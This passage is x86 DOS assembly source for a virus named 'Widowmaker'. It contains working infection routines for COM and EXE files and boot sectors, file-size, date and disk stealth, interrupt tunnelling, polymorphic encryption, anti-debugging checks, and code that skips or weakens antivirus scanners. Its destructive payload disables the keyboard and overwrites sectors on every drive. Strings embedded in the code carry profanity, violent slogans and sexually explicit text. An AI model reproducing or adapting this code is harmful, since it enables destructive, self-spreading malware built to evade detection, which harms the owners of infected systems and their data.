                MOV     BP, SP

                PUSHF                           ; Store flags.
                POP     [BP.Reg_Flags]

                MOV     [BP.Reg_AX], AX         ; Store results.
                MOV     [BP.Reg_DX], DX

                CALL    Pop_All

                RETF    2

Exit_Stealth_Seek:

                CALL    Pop_All

                JMP     JMP_Int21h


Clean_Handle:
                CALL    Push_All
                CALL    Hook_Int24h

                CALL    Check_Handle
                JNZ     Exit_Clean_Handle

                CALL    Check_File_Date
                JB      Exit_Clean_Handle

                PUSH    CX
                PUSH    DX

                CALL    Save_File_Pos

                CALL    Go_EOF

                SUB     AX, (Netto_Size - 3)
                SBB     DX, CX

                MOV     CX, DX                  ; Go to position of
                XCHG    DX, AX                  ; stored header.
                MOV     AX, 4200h
                PUSH    AX
                CALL    Traced_Int21h

                CALL    Read_Header

                CALL    Go_EOF

                SUB     AX, Netto_Size          ; DX:AX = size of our host.
                SBB     DX, CX

                MOV     CX, DX                  ; Go to end of our host.
                XCHG    DX, AX
                POP     AX                      ; AX=4200h.
                CALL    Traced_Int21h

                MOV     AH, 40h                 ; Write <EOF> marker,
                XOR     CX, CX                  ; (cut-off virusbody).
                CALL    Traced_Int21h

                CALL    Go_BOF

                MOV     AH, 40h                 ; Write original header back.
                MOV     CX, 24
                MOV     DX, SI
                CALL    Traced_Int21h

                MOV     AX, 5701h
                POP     DX
                POP     CX
                SUB     DH, Century
                CALL    Traced_Int21h

                CALL    Restore_File_Pos

Exit_Clean_Handle:

                CALL    Unhook_Int24h
                CALL    Pop_All

                RETN


Clean_By_File:
                CALL    Push_All

                MOV     AX, 3D02h               ; Open file read/write.
                CALL    Traced_Int21h
                JC      XIt_Clean_File

                XCHG    BX, AX                  ; BX = filehandle.

                CALL    Clean_Handle            ; Clean file.

                MOV     AH, 3Eh                 ; Close file.
                CALL    Traced_Int21h

XIt_Clean_File: CALL    Pop_All

                JMP     JMP_Int21h

Clean_By_Handle:

                CALL    Clean_Handle

                JMP     JMP_Int21h


Stealth_Filedate:

                CALL    Int21h                  ; Get filedate & time.

                PUSHF
                JC      Exit_Stealth_Date       ; Exit when error.

                CMP     DH, Infected_Date       ; Infected date?
                JB      Exit_Stealth_Date

                SUB     DH, Century             ; If so, restore original.

Exit_Stealth_Date:

                POPF

                RETF    2                       ; Return to caller.


Check_File_Date:

                MOV     AX, 5700h
                CALL    Traced_Int21h

                CMP     DH, Infected_Date       ; Infected datestamp?

                RETN


Read_Header:
                MOV     SI, OFFSET Header

                MOV     AH, 3Fh
                MOV     CX, 26
                MOV     DX, SI
                CALL    Traced_Int21h

                RETN


Check_Handle:
                MOV     AX, 4400h               ; Get IOCTL-info.
                CALL    Traced_Int21h

                TEST    DL, 10000000b           ; Only filehandles.

                RETN


Promise         DB      '3Y3 W1LL D3$TR0Y D1Z W0RLD'


Ret_Mark_i21h:
                CMP     DS:[SI.Sign_Legal_Call], Marker_Call_OK
                JNE     Activate

                MOV     AX, Marker_i21h

                IRET


; Displays a message & trashes all drives.
Activate:
                IN      AL, 21h                 ; Rip their keyboard.
                OR      AL, 00000010b
                OUT     21h, AL

                PUSH    CS
                POP     DS

                PUSH    CS
                POP     ES

                MOV     AX, 03h                 ; Clear screen.
                INT     10h

                MOV     SI, OFFSET Payload_Msg  ; Display payload-message.
                CALL    Display_Msg

                XOR     BX, BX
                MOV     CX, 02h
                MOV     DX, 0180h

Trash_Loop:     XOR     AH, AH                  ; Reset disk.
                CALL    Traced_Int13h

                MOV     AX, 0320h               ; Trash 32 sectors starting

IF Pussy_Mode EQ No_way_lets_kick_ass
                CALL    Traced_Int13h           ; at sector 2.
ENDIF

                ADD     CH, DH                  ; Next track.
                ADC     DL, BL                  ; Next drive.

                JMP     Trash_Loop


Payload_Msg     DB      0Ah, 0Dh, 0Ah, 0Dh

                DB      '*** W1D0WM4K3R V1RUS ***'
                DB      0Ah, 0Dh, 0Ah, 0Dh

                DB      'I''m the Widowmaker, making yet another widow!'
                DB      0Ah, 0Dh
                DB      'MUHAHAHAHA! DIE YOU FUCK!!!'
                DB      0Ah, 0Dh

                DB      0Ah, 0Dh, 00h


; DS:SI=msg.
Display_Msg:
                MOV     AH, 0Eh
                XOR     BX, BX

Display_Char:   CLD
                LODSB                           ; Get next character.

                OR      AL, AL                  ; End of ASCIIZ ?
                JZ      Exit_Display

                INT     10h                     ; Display character.

                JMP     Display_Char

Exit_Display:

                RETN


; Calls the INT 13h address before we hooked it.
Int13h:
                PUSHF
                CALL    DWORD PTR CS:i13h

                RETN


; Calls the INT 21h address before we hooked it.
Int21h:
                PUSHF
                CALL    DWORD PTR CS:i21h

                RETN


Traced_Int13h:
                PUSHF
                CALL    DWORD PTR CS:Traced_i13h

                RETN


Go_BOF:
                MOV     AX, 4200h
                JMP     Set_Pos
Go_EOF:
                MOV     AX, 4202h
Set_Pos:        XOR     CX, CX
                CWD

Traced_Int21h:  PUSHF
                CALL    DWORD PTR CS:Traced_i21h

                RETN

Save_File_Pos:
                MOV     AX, 4201h               ; Get current fileposition.
                XOR     CX, CX
                CWD
                CALL    Traced_Int21h

                MOV     CS:Old_Pos_Low, AX      ; Save it.
                MOV     CS:Old_Pos_High, DX

                RETN


Restore_File_Pos:

                MOV     AX, 4200h               ; Set fileposition.
                MOV     CX, 0000h
Old_Pos_High    =       WORD PTR $-2
                MOV     DX, 0000h
Old_Pos_Low     =       WORD PTR $-2
                JMP     Traced_Int21h


JMP_St_FCB:     JMP     Stealth_Size_FCB

                ; As quoted from Morbid Angel...

                DB      'DEAD, YOUR GOD IS DEAD! SATAN WILL RISE!'


;============================================================================
;                             INT 21h HANDLER
;============================================================================
NewInt21h:
                CMP     AH, 11h                 ; Findfirst (FCB).
                JE      JMP_St_FCB

                CMP     AH, 12h                 ; Findnext (FCB).
                JE      JMP_St_FCB

                CMP     AH, 4Eh                 ; Findfirst (handle).
                JE      Dir_Fetch_Path

                CMP     AH, 4Fh                 ; Findnext (handle).
                JE      Dir_Infect

                CMP     AH, 3Fh                 ; Read file (handle).
                JE      Stealth_Read

                CMP     AH, 40h                 ; Write file (handle).
                JE      Clean_By_Handle

                CMP     AX, 4202h               ; Seek EOF (handle).
                JE      Stealth_Seek

                CMP     AX, 5700h               ; Get filedate & time.
                JE      Stealth_Filedate

                CMP     AH, 3Dh                 ; Open file (handle).
                JE      Check_Inf_File

                CMP     AX, 6C00h               ; Extended open.
                JE      Check_Inf_File

                CMP     AH, 41h                 ; Delete file.
                JE      Check_Inf_File

                CMP     AH, 43h                 ; Get/set file-attributes.
                JE      Check_Inf_File

                CMP     AX, 4B00h               ; Execute file.
                JE      Init_Exec

                CMP     AX, 4B01h               ; Load file (debuggers).
                JE      Clean_By_File

                CMP     AX, Res_Check_i21h      ; Residency-check.
                JE      Ret_Mark_i21h

JMP_Int21h:     JMP     DWORD PTR CS:i21h       ; JMP to old INT 21h address.



Dir_Fetch_Path:
                CALL    Push_All

                PUSH    CS
                POP     ES

                MOV     SI, DX
                MOV     DI, OFFSET Dir_Path

                CLD

Get_Char_Path:  LODSB
                STOSB

                OR      AL, AL                  ; End of ASCIIZ-path reached?
                JNZ     Get_Char_Path

                DEC     DI

                MOV     AL, '\'                 ; Find start filespec/name.
                STD
                REPNE   SCASB

                INC     DI                      ; Offset after '\'.
                INC     DI

                MOV     CS:End_Dir_Path, DI     ; Save offset filename.

                CALL    Pop_All

Dir_Infect:     CALL    Int21h                  ; Execute function.

                CALL    Push_All
                JC      Exit_Dir_Infect

                CALL    Check_Stealth
                JE      Exit_Dir_Infect

                MOV     AH, 2Fh                 ; Get DTA-address.
                CALL    Traced_Int21h

                CMP     BYTE PTR ES:[BX.Handle_Date+1], Infected_Date
                JB      Do_Dir_Infect

                SUB     BYTE PTR ES:[BX.Handle_Date+1], Century

                SUB     WORD PTR ES:[BX.Handle_Size], Netto_Size
                SBB     WORD PTR ES:[BX.Handle_Size+2], 0

Do_Dir_Infect:  IN      AX, 40h                 ; Get random # in AL.
                XOR     AL, AH

                CMP     AL, 30                  ; Should we infect on dir?
                JA      Exit_Dir_Infect

                PUSH    ES
                POP     DS

                LEA     SI, [BX+1Eh]            ; DS:SI = filename in DTA.
                MOV     DI, 0000h
End_Dir_Path    =       WORD PTR $-2

                PUSH    CS
                POP     ES

                CLD

Format_String:  LODSB                           ; Load character.

                OR      AL, AL                  ; End of ASCIIZ-filename?
                JZ      End_Found_ff

                CMP     AL, ' '                 ; Skip spaces.
                JE      Skip_Char

                STOSB                           ; Store character buffer.

Skip_Char:      JMP     Format_String

End_Found_ff:   STOSB                           ; Store zero.

                PUSH    CS
                POP     DS

                MOV     AX, 4300h               ; Get attributes via our
                MOV     DX, OFFSET Dir_Path     ; hooked INT, so our virus
                INT     21h                     ; will infect the file.

Exit_Dir_Infect:
                CALL    Pop_All

                RETF    2                       ; Return to caller.


Stealth_Size_FCB:

                CALL    Int21h                  ; Do find.

                CALL    Push_All

                OR      AL, AL                  ; Error?
                JNZ     Exit_Stealth_F

                CALL    Check_Stealth
                JE      Exit_Stealth_F

                MOV     AH, 2Fh                 ; Get DTA-address.
                CALL    Traced_Int21h

                CMP     BYTE PTR ES:[BX], 0FFh  ; Is it an extended FCB ?
                JNE     No_Ext_FCB

                ADD     BX, 7                   ; Skip extended FCB-block.

No_Ext_FCB:     CMP     BYTE PTR ES:[BX.FCB_Date+1], Infected_Date
                JB      Exit_Stealth_F

                SUB     BYTE PTR ES:[BX.FCB_Date+1], Century

                SUB     WORD PTR ES:[BX.FCB_Size], Netto_Size
                SBB     WORD PTR ES:[BX.FCB_Size+2], 0

Exit_Stealth_F: JMP     Exit_Dir_Infect


                DB      'Legalize arms!'


Init_Exec:
                CALL    Add_Params

Check_Inf_File: CALL    Push_All
                CALL    Hook_Int24h

                CMP     AX, 6C00h               ; Extended open?
                JNE     No_Ext_Open

                MOV     DX, SI                  ; Then correct parameter.

No_Ext_Open:    CALL    Check_Filename
                JC      JMP_Exit_Inf

                PUSH    DX

                MOV     AH, 19h                 ; Get current drive.
                CALL    Traced_Int21h

                XCHG    DX, AX
                INC     DX                      ; AH=36h starts with A=1 etc.

                MOV     AH, 36h                 ; Get free diskspace.
                CALL    Traced_Int21h

                MUL     BX                      ; Get amount of free sectors.

                OR      DX, DX                  ; File > 64k ?

                POP     DX

                JNZ     Conditions_OK

                CMP     AX, 64                  ; At least 64 sectors free?
                JNB     Conditions_OK

JMP_Exit_Inf:   JMP     Exit_Infect

Conditions_OK:  MOV     AX, 3D02h               ; Open candidate file.
                CALL    Traced_Int21h
                JC      JMP_Exit_Inf

                XCHG    BX, AX                  ; BX = filehandle.

                CALL    Check_Handle
                JNZ     Abort_Check

                PUSH    CS
                POP     DS

                PUSH    CS
                POP     ES

                CALL    Read_Header

                CMP     [SI.Checksum], Marker_File
                JE      Abort_Check

                XOR     BP, BP

                CMP     [SI.EXE_Mark], 'ZM'     ; Host is a .EXE-file?
                JNE     No_Init_EXE

                INC     BP                      ; Host is .EXE-type.

                ; Don't infect any Windoze files.

                CMP     [SI.Offs_RelocTable], 40h
                JNB     Abort_Check

No_Init_EXE:    CALL    Go_EOF

                OR      DX, DX                  ; File bigger then 64k ?
                JNZ     Infect_File

                CMP     AX, 60                  ; File too small?
                JB      Abort_Check

                CMP     AX, (65535 - (Netto_Size + 1024))
                JA      Abort_Check

                CALL    Check_File_Date
                JB      Infect_File

Abort_Check:    JMP     Inf_Close_File

Infect_File:    PUSH    CX                      ; Save filedate & time.
                PUSH    DX

                PUSH    SI

                MOV     DI, OFFSET Host_Bytes   ; Save host' original header.
                MOV     CX, (24 / 2)
                CLD
                REP     MOVSW

                POP     SI

                CALL    Go_EOF

                DEC     BP                      ; Host is a .EXE-file?
                JZ      Infect_EXE

Infect_COM:     ADD     AX, (OFFSET Virus_End - 3)

                MOV     [SI.Jump], 0E9h         ; JMP opcode.
                MOV     [SI.Displacement], AX

                SUB     AX, (OFFSET Virus_End - 3) - 100h
                XCHG    BP, AX

                JMP     Set_Header
 
Infect_EXE:     MOV     CX, 16                  ; Calculate virus' new CS:IP.
                DIV     CX

                SUB     AX, [SI.Headersize_Para]

                MOV     BP, DX

                ADD     DX, OFFSET Virus_End

                MOV     [SI.Program_CS], AX
                MOV     [SI.Program_IP], DX

                INC     AX                      ; SS > CS.

                MOV     [SI.Program_SS], AX
                MOV     [SI.Program_SP], (Virus_Size_Mem * 16) - 16

                ADD     [SI.Min_Mem_Para], Virus_Size_Mem + 2

                CALL    Go_EOF

                ADD     AX, Netto_Size
                ADC     DX, CX

                MOV     CX, 512                 ; Calculate 512-byte pages.
                DIV     CX

                OR      DX, DX                  ; Precise division?
                JZ      No_Round

                INC     AX                      ; Else round upwards.

No_Round:       MOV     [SI.Image_512_Pages], AX
                MOV     [SI.Image_Mod_512], DX

Set_Header:     MOV     [SI.Checksum], Marker_File

                CALL    Adjust_Poly_Decryptor

                MOV     AH, 40h                 ; Append polymorphic
                MOV     CX, Netto_Size          ; encrypted virus.
                MOV     DX, OFFSET Buffer
                CALL    Traced_Int21h

                CALL    Go_BOF

                MOV     AH, 40h                 ; Write updated header.
                MOV     CX, 24
                MOV     DX, SI
                CALL    Traced_Int21h

                MOV     AX, 5701h               ; Restore filedate & time.
                POP     DX
                POP     CX
                ADD     DH, Century             ; Set infected date.
                CALL    Traced_Int21h

Inf_Close_File: MOV     AH, 3Eh                 ; Close file.
                CALL    Traced_Int21h

Exit_Infect:    CALL    Unhook_Int24h
                CALL    Pop_All

                JMP     JMP_Int21h


                DB      'Germany-1998'


Check_Trigger:
                CALL    Push_All

                PUSH    AX

                IN      AX, 40h
                XCHG    BX, AX
                IN      AX, 40h
                XOR     AX, BX
                RCL     AX, 1

                CMP     AX, 30

                POP     AX

                JA      Exit_Trigger

                PUSH    CS
                POP     ES

                MOV     AH, 03h
                XOR     BX, BX

IF Pussy_Mode EQ No_way_lets_kick_ass
                CALL    Traced_Int13h
ENDIF


Exit_Trigger:   CALL    Pop_All

                RETN


                DB      'Filled of hate, determined to kill'


Ret_Mark_i13h:
                CMP     DS:[SI.Sign_Legal_Call], Marker_Call_OK
                JE      Caller_i13h_OK

                JMP     Activate

Caller_i13h_OK: MOV     AX, Marker_i13h

                IRET


Stealth_Home:
                CMP     DL, 80h                 ; Only on harddisks.
                JB      JMP_i13h

                CALL    Push_All

                CMP     AH, 03h                 ; Write(s) ?
                JNE     Read_ZeroTrack

                MOV     AH, 0Dh                 ; Reset harddisk.
                CALL    Traced_Int13h

                OR      AH, 00000011b           ; Fake write protected.
                STC

                JMP     Save_Values

Read_ZeroTrack: MOV     SI, AX                  ; Save # sectors read/write.

                CALL    Int13h                  ; Do the read.

Save_Values:    MOV     BP, SP

                PUSHF
                POP     [BP.Reg_Flags]

                MOV     [BP.Reg_AX], AX

                JC      Exit_Stealth_Home

                XCHG    AX, SI
                CBW

                MOV     CL, 8                   ; MUL 256.
                SHL     AX, CL

                XCHG    CX, AX
                XOR     AX, AX
                MOV     DI, BX
                CLD                             ; Fill sectorbuffer.
                REP     STOSW

Exit_Stealth_Home:

                CALL    Pop_All

                RETF    2


;============================================================================
;                            INT 13h HANDLER
;============================================================================
NewInt13h:
                CMP     AX, Res_Check_i13h      ; INT 13h residency-check?
                JE      Ret_Mark_i13h

                CMP     AH, 02h                 ; Read sector(s) ?
                JB      JMP_i13h

                CMP     AH, 03h                 ; Write sector(s) ?
                JA      JMP_i13h

                JMP     No_i21h_Check
JMP_Databyte    =       BYTE PTR $-1

                CALL    Check_Int21h

No_i21h_Check:  CALL    Check_Trigger           ; Corrupt sector(s) ?

                OR      DH, DH                  ; Head zero?
                JNZ     JMP_i13h

                OR      CH, CH                  ; Track zero?
                JNZ     JMP_i13h

                CMP     CL, 01h                 ; Bootsector/MBS ?
                JNE     Stealth_Home

                MOV     CS:Int13h_AH, AH        ; Save function.

                CALL    Int13h                  ; Execute function.
                JC      Do_RETF2

                CALL    Check_Inf_Boot

Do_RETF2:       RETF    2                       ; Return to our caller.
JMP_i13h:       JMP     DWORD PTR CS:i13h

                DB      '1H8U'

Check_Inf_Boot:
                CALL    Push_All

                PUSH    ES
                POP     DS

                CMP     DS:[BX.Sign_Boot], Mark_Boot    ; Already infected?
                JNE     Init_Infect_Boot

                MOV     AX, 0201h               ; Read original encrypted
                MOV     CX, DS:[BX.Stored_TS]   ; boot.
                MOV     DX, DS:[BX.Stored_HD]
                PUSH    DS:[BX.Key_Stored_Boot]
                CALL    Traced_Int13h

                POP     AX                      ; Decrypt boot.
                MOV     CX, (512 / 2)
                CALL    Word_Crypt

                JMP     Exit_Inf_Boot

Init_Infect_Boot:

                CMP     DL, 80h                 ; Fixed disk?
                JB      Calc_Storage

                MOV     CL, 09h

                JMP     Infect_Boot

; Calculate track where we store ourself.
Calc_Storage:

                PUSH    DX

                MOV     AX, DS:[BX.bs_Num_Sectors]
                XOR     DX, DX
                MOV     CX, DS:[BX.bs_Sector_Track]
                DIV     CX

                MOV     CX, DS:[BX.bs_Number_Heads]
                PUSH    CX
                DIV     CX

                DEC     AX                      ; CH = new track.
                MOV     CH, AL
                MOV     CL, 02h                 ; Starting sector 2.

                POP     AX
                DEC     AX

                POP     DX

                MOV     DH, AL

Infect_Boot:    MOV     CS:Stored_TS, CX
                MOV     CS:Stored_HD, DX

                PUSH    CX

                PUSH    CS
                POP     ES

                MOV     SI, BX                  ; Copy read bootsector to
                MOV     DI, OFFSET Buffer       ; our buffer.
                MOV     CX, (512 / 2)
                CLD
                REP     MOVSW

                PUSH    CS
                POP     DS

                CMP     Int13h_AH, 03h          ; No check on writes.
                JE      Error_Read_ID

IF Pussy_Mode EQ Yes_dont_hurt_me
                JMP     Error_Read_ID
ENDIF
                MOV     AX, 0201h               ; Read ID-sector.
                MOV     BX, OFFSET Buffer + 512
                POP     CX
                PUSH    CX
                DEC     CX
                CALL    Traced_Int13h
                JC      Error_Read_ID

                MOV     AX, [BX+2]              ; AX = encrypted signature.
                XOR     AX, [BX]                ; Decrypt signature.

                CMP     AX, Mark_ID_Sector      ; This our marker? 
                JNE     Write_Read_ID

                JMP     Activate

Write_Read_ID:  IN      AX, 40h                 ; Get encryption-key.
                MOV     [BX], AX                ; Store it.

                XOR     AX, Mark_ID_Sector      ; Encrypt mark.
                MOV     [BX+2], AX              ; Store encrypted mark.

                MOV     AX, 0301h               ; Write ID-sector.
                CALL    Traced_Int13h

Error_Read_ID:

Get_New_Rand1:  IN      AX, 40h                 ; Get random encryption-key.

                OR      AX, AX                  ; Avoid zero-encryption.
                JZ      Get_New_Rand1

                MOV     Key_Stored_Boot, AX

                CALL    Crypt_Boot              ; Encrypt boot in buffer.

                MOV     SI, 512                 ; Copy body to buffer for
                MOV     DI, OFFSET Buffer + 512 ; encryption.
                MOV     CX, (Body_Sectors * 512) / 2
                CLD
                REP     MOVSW

Get_New_Rand2:  IN      AX, 40h                 ; Get semi-random key.

                OR      AX, AX                  ; Avoid zero-encryption.
                JZ      Get_New_Rand2

                MOV     Key_Virus_Body, AX

                MOV     BX, OFFSET Buffer + 512 ; Encrypt virusbody.
                MOV     CX, (Body_Sectors * 512) / 2
                CALL    Word_Crypt

                POP     CX

                MOV     AX, 0301h+Body_Sectors  ; Store original boot plus
                MOV     BX, OFFSET Buffer       ; virusbody.
                PUSH    BX
                CALL    Traced_Int13h

                CALL    Crypt_Boot              ; Decrypt boot.

Get_New_Rand3:  IN      AL, 40h                 ; Get random.

                OR      AL, AL
                JZ      Get_New_Rand3

                MOV     Key_Virus_Boot, AL

                MOV     SI, 62                  ; Copy virus into boot.
                MOV     DI, OFFSET Buffer + 62
                MOV     CX, (512 - 64) / 2
                CLD
                REP     MOVSW

                ADD     BX, OFFSET Encrypted_Boot
                MOV     CX, Encr_Loadersize

Encrypt_Byte:   XOR     [BX], AL
                INC     BX
                LOOP    Encrypt_Byte

                POP     BX                      ; BX=OFFSET Buffer.
                MOV     [BX], 3CEBh             ; JMP SHORT virus.

                MOV     AX, 0301h               ; Write new infected boot.
                INC     CX                      ; CX=0001h.
                XOR     DH, DH
                CALL    Traced_Int13h

Exit_Inf_Boot:  CALL    Pop_All

                RETN

Check_Stealth:
                CALL    Push_All

                PUSH    CS
                POP     DS

                MOV     BP, SP
                MOV     SI, [BP.Reg_Ret_Addr]   ; SI = return-address.

                CMP     BYTE PTR [SI], 0CCh     ; Being debugged?
                JNE     No_Breakpoint

                MOV     [BP.Reg_Ret_Addr], OFFSET Activate

No_Breakpoint:  MOV     AH, 62h                 ; Get PSP of current process.
                CALL    Traced_Int21h

                DEC     BX                      ; Get MCB.

                MOV     ES, BX                  ; ES:DI = Programname.
                MOV     DI, 08h

                MOV     SI, OFFSET Tabel_Inactive

Compare:        CLD
                LODSB
                CBW

                OR      AX, AX                  ; End of table?
                JZ      End_Reached

                PUSH    DI

                MOV     BP, AX

                PUSH    SI

                XCHG    CX, AX
                REPE    CMPSB

                POP     SI
                ADD     SI, BP

                POP     DI

                OR      CX, CX
                JNZ     Compare

End_Reached:    OR      CX, CX

                MOV     BP, SP

                PUSHF
                POP     [BP.Reg_Flags]

                CALL    Pop_All

                RETN


Tabel_Inactive  DB      6, 'CHKDSK'
                DB      5, 'PKZIP'
                DB      3, 'ARJ'
                DB      3, 'LHA'
                DB      3, 'RAR'
                DB      6, 'BACKUP'
                DB      5, 'MODEM'
                DB      5, 'TELIX'
                DB      0


Crypt_Boot:
                MOV     AX, Key_Stored_Boot
                MOV     BX, OFFSET Buffer
                MOV     CX, (512 / 2)
                CALL    Word_Crypt

                RETN



; Dedicated to the two founders of Apple, Steve Wozniak & Steve Jobs,
; these ppl actually WORKED for their products, instead of those Microfuck
; lamers which only became so "successful" coz they had the big bucks.

                DB      'Respect2AppleSteves'

Hook_Int21h:
                CALL    Push_All

                PUSH    CS
                POP     DS

                MOV     JMP_Databyte, (No_i21h_Check - JMP_Databyte) - 1

                XOR     DI, DI

                CLD

                IN      AX, 40h                 ; Overwrite JMP boot with
                STOSW                           ; garbage (no signatures).

                IN      AL, 40h
                STOSB

                MOV     Random, AX              ; Initialize random seed.

                CALL    Setup_Poly_Decryptor

                MOV     AX, 21h * 4             ; Tunnel INT 21h.
                CALL    Trace_Interrupt

                MOV     AX, 2521h               ; Hook INT 21h.
                MOV     DX, OFFSET NewInt21h
                CALL    Traced_Int21h

                CALL    Pop_All

                RETN

Hook_Int24h:
                CALL    Push_All

                PUSH    CS
                POP     DS

                MOV     AX, 3524h
                CALL    Traced_Int21h

                MOV     i24h, BX
                MOV     i24h+2, ES

                MOV     AH, 25h
                MOV     DX, OFFSET NewInt24h
                CALL    Traced_Int21h

                CALL    Pop_All

                RETN


Unhook_Int24h:
                CALL    Push_All

                MOV     AX, 2524h
                LDS     DX, DWORD PTR CS:i24h
                CALL    Traced_Int21h

                CALL    Pop_All

                RETN

;-----------------------------------------------------------------------
; Compares if specific programs are going to be executed, and if so, it
; adds specific parameters. Note that this routine is table-driven.
;-----------------------------------------------------------------------
Add_Params:
                CALL    Push_All

                PUSH    ES

                PUSH    DS
                POP     ES

                PUSH    CS
                POP     DS

                XOR     AL, AL                  ; Find end ASCIIZ-string.
                MOV     CX, 0FFFFh
                PUSH    CX
                MOV     DI, DX
                CLD
                REPNZ   SCASB

                DEC     DI

                MOV     AL, '\'                 ; Find start filename.
                POP     CX                      ; CX=0FFFFh.
                STD
                REPNE   SCASB

                INC     DI
                INC     DI

                MOV     SI, OFFSET Tbl_Add_Params
                CLD

Compare_Name:   LODSB                           ; AX = length filename.
                CBW

                OR      AX, AX                  ; End of table?
                JZ      End_Of_Table

                XCHG    DX, AX                  ; DX = length filename.

                MOV     BP, DX

                LODSB                           ; AX = length parameters.
                CBW

                PUSH    DI

                PUSH    SI
                PUSH    AX

Scan_Byte:      LODSB
                MOV     AH, ES:[DI]

                CMP     AH, 'a'                 ; Convert this shit to
                JB      No_Change_Case          ; uppercase.

                CMP     AH, 'z'
                JA      No_Change_Case

                SUB     AH, 'a' - 'A'

No_Change_Case: CMP     AL, AH
                JNE     Stop_Compare

                INC     DI

                DEC     BP
                JNZ     Scan_Byte

Stop_Compare:   POP     AX
                POP     SI

                ADD     SI, DX                  ; Plus length filename.
                ADD     SI, AX                  ; Plus length params.

                POP     DI

                OR      BP, BP
                JNZ     Compare_Name

End_Of_Table:   POP     ES

                OR      AX, AX
                JZ      Exit

                OR      BP, BP
                JNZ     Exit

                MOV     CX, AX
                SUB     SI, AX

                LES     DI, ES:[BX+2]           ; ES:DI = end of params.

                XOR     BX, BX                  ; BX = length params.
                MOV     BL, ES:[DI]

                INC     AX                      ; Inclusive space.

                ADD     ES:[DI], AL

                INC     DI                      ; Skip counter.

                ADD     DI, BX

                MOV     AL, 20h                 ; Store a space.
                CLD
                STOSB

                CLD                             ; Store the parameter(s).
                REP     MOVSB

                MOV     AL, 0Dh                 ; Store <CR>.
                CLD
                STOSB

Exit:           CALL    Pop_All

                RETN


Tbl_Add_Params: DB      10, 11, 'F-PROT.EXE', '/nomem /old'
                DB      10, 09, 'TBSCAN.EXE', 'nm co old'
                DB      08, 16, 'SCAN.EXE', '/nomem /noexpire'
                DB      07, 04, 'WIN.COM', '/d:f'
                DB      10, 07, 'PRINCE.EXE', 'megahit'     ; hehe...
                DB      0


NewInt24h:
                MOV     AL, 03h
                IRET

Sign_Legal_Call DW      Marker_Call_OK

                DB      'I fucked your girlfriend last night. While you '
                DB      'snored and drooled I fucked your love. She called ' 
                DB      'me daddy, and I called her baby when I smacked her '
                DB      'ass. I called her sugar when I ate her alive till '
                DB      'daylight. And I slept with her all over me, from '
                DB      'forehead to ribcage I dripped her ass...', 0

                DB      '! PANTERA RULES !'



;-------------------------------------------------------
; Returns CF set if the filename in DS:DX is illegal,
; like a non .COM or .EXE-file, or a antivirus-program.
;-------------------------------------------------------
Check_Filename:
                CALL    Push_All

                PUSH    DS
                POP     ES

                XOR     AL, AL                  ; Find end of ASCIIZ-string.
                MOV     CX, 0FFFFh
                MOV     DI, DX
                CLD
                REPNZ   SCASB

Check_Word:     MOV     AX, [DI-4]
                AND     AX, 1101111111011111b   ; To uppercase.

                CMP     AX, 'OC'                ; .CO? ?
                JE      Check_Byte

                CMP     AX, 'XE'                ; .EX? ?
                JNE     Carry_Exit

Check_Byte:     MOV     AL, [DI-2]
                AND     AL, 11011111b

                CMP     AL, 'M'                 ; ??M ?
                JE      Extension_OK

                CMP     AL, 'E'                 ; ??E ?
                JNE     Carry_Exit

Extension_OK:   DEC     DI
                MOV     AL, '\'                 ; Find start filename.
                MOV     CX, 0FFFFh
                STD
                REPNE   SCASB

                MOV     BP, OFFSET No_Inf_Table

                CLD

Next_Entry_AV:  MOV     SI, DI

                MOV     DX, CS:[BP]

                XOR     DX, 8Ah                 ; Decrypt word.
                JZ      No_Carry_Exit           ; End of table?

                INC     BP                      ; Next entry.
                INC     BP

Scan_Filename:  LODSW                           ; Get word filename.

                CMP     AL, '.'                 ; End reached?
                JE      Next_Entry_AV

                CMP     AX, DX                  ; Found an illegal word?
                JE      Carry_Exit

                DEC     SI                      ; Byte-scan.

                JMP     Scan_Filename

No_Carry_Exit:  CLC

                JMP     Set_Flags

Carry_Exit:     STC

Set_Flags:      MOV     BP, SP

                PUSHF                           ; Set flags in stack.
                POP     [BP.Reg_Flags]

                CALL    Pop_All

                RETN


;-------------------------------------------------------------
; Table of encrypted words, if one of these words is found in
; a candidate filename (any position), infection is rejected.
;-------------------------------------------------------------
No_Inf_Table    DW      'BT' XOR 8Ah    ; ThunderByte utilities.
                DW      '-F' XOR 8Ah    ; F-Prot.
                DW      'CS' XOR 8Ah    ; SCAN
                DW      'IV' XOR 8Ah    ; VIRSCAN, VIRUSCAN
                DW      'VA' XOR 8Ah    ; NAV, AVP, MSAV, CPAV
                DW      'VI' XOR 8Ah    ; Invircible.
                DW      'RD' XOR 8Ah    ; DrWeb
                DW      000h XOR 8Ah    ; End of table.


Get_Random2:
                MOV     AX, 2
                JMP     Get_Random

Get_Random3:
                MOV     AX, 3
                JMP     Get_Random

Get_Random4:
                MOV     AX, 4
                JMP     Get_Random

Get_Random7:    MOV     AX, 7

;---------------------------------------------------------------
; Generates random within range of AX starting with zero. This
; is a optimized/modified version of the one included in N.E.D.
;---------------------------------------------------------------
Get_Random:
                PUSH    CX
                PUSH    DX

                PUSH    AX

                RCL     CS:Random, 1            ; Adjust seed for randomness.
                ADD     CS:Random, 666h         ; Adjust it again.

                XOR     AH, AH                  ; BIOS get timer function.
                INT     1Ah

                XOR     CS:Random, DX           ; XOR seed by BIOS timer
                CWD                             ; Clear DX for division...

                MOV     AX, 0000h               ; Return number in AX.
Random          =       WORD PTR $-2            ; Seed for generator.
                POP     CX                      ; CX holds max value
                DIV     CX                      ; DX = AX % max_val

                XCHG    AX, DX                  ; AX holds final value

                POP     DX
                POP     CX

                OR      AX, AX                  ; AX is zero?

                CLD                             ; Could be changed by INT.

                RETN                            ; Return to caller



                ; School, State, Parents, Cops, etc, etc.

                DB      'Self proclaimed gods'



;============================================================================
;                            POLYMORPHIC ENGINE
;============================================================================


Max_CALL_Entry  EQU     10      ; Number of entries in subroutine table.
Max_Decryptor   EQU     128     ; Maximal size of poly-decryptor in bytes.
Min_Layers      EQU     4
Max_Layers      EQU     10
Min_CALL        EQU     3
Min_Decryptor   EQU     96      ; Minimal size of poly-decryptor in bytes.


; Encryption algoritms:         0 = ADD
;                               1 = SUB
;                               2 = XOR
;                               3 = INC
;                               4 = DEC
;                               5 = NOT
;                               6 = NEG
;                               7 = ROL
;                               8 = ROR



                DB      '[SFW]'                 ; So Fucking What?!


Adjust_Poly_Decryptor:

                CALL    Push_All

                XOR     SI, SI                  ; Copy virus to buffer for
                MOV     DI, OFFSET Buffer       ; encryptions.
                MOV     CX, Virus_Size
                CLD
